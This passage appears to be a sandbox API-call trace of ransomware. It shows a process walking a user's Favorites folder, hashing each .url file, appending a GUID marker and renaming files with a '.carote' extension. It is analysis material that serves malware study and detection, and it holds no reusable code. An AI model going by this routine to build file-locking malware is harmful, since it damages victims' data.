(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.carote")) returned 1 [0112.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.825] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.825] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0112.826] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.826] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.826] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.826] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.827] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.828] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.828] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.829] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0112.829] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecb50 [0112.829] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.829] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.829] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.829] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0112.829] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.829] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.829] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.829] PathFindFileNameW (pszPath="") returned="" [0112.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.830] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.830] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0112.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0112.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.830] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.830] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.832] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.832] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.833] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.833] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.833] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.833] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.833] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecb50) returned 1 [0112.834] CryptCreateHash (in: hProv=0x50ecb50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.834] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.834] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.834] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.834] GetLastError () returned 0x0 [0112.834] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.834] CryptReleaseContext (hProv=0x50ecb50, dwFlags=0x0) returned 1 [0112.834] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.834] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.834] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.834] CloseHandle (hObject=0x61c) returned 1 [0112.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.carote")) returned 1 [0112.836] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0112.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0112.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.836] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.836] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.838] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.838] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.839] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.839] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.839] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.839] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.839] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecb50) returned 1 [0112.840] CryptCreateHash (in: hProv=0x50ecb50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.840] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.840] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.840] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.840] GetLastError () returned 0x0 [0112.840] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.840] CryptReleaseContext (hProv=0x50ecb50, dwFlags=0x0) returned 1 [0112.840] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.840] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.840] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.841] CloseHandle (hObject=0x61c) returned 1 [0112.841] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.carote")) returned 1 [0112.842] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0112.842] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0112.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.843] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.843] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.844] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.844] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.845] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.845] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.845] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.845] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.845] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecb50) returned 1 [0112.846] CryptCreateHash (in: hProv=0x50ecb50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.846] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.846] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.846] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.846] GetLastError () returned 0x0 [0112.846] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.846] CryptReleaseContext (hProv=0x50ecb50, dwFlags=0x0) returned 1 [0112.846] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.846] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.846] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.846] CloseHandle (hObject=0x61c) returned 1 [0112.847] MoveFileW 